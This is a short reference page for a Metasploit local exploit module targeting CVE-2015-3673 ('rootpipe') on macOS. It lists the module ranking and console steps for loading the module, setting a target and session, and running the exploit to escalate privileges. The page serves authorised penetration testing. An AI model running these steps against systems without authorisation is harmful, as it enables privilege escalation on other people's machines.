List of CVEs: CVE-2015-3673
This module exploits the rootpipe vulnerability and bypasses Apple's initial fix for the issue by injecting code into a process with the 'admin.writeconfig' entitlement.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/osx/local/rootpipe_entitlements
msf exploit(rootpipe_entitlements) > show targets
... a list of targets ...
msf exploit(rootpipe_entitlements) > set TARGET target-id
msf exploit(rootpipe_entitlements) > show options
... show and set options ...
msf exploit(rootpipe_entitlements) > set SESSION session-id
msf exploit(rootpipe_entitlements) > exploit
Required Options
- SESSION: The session to run this module on.
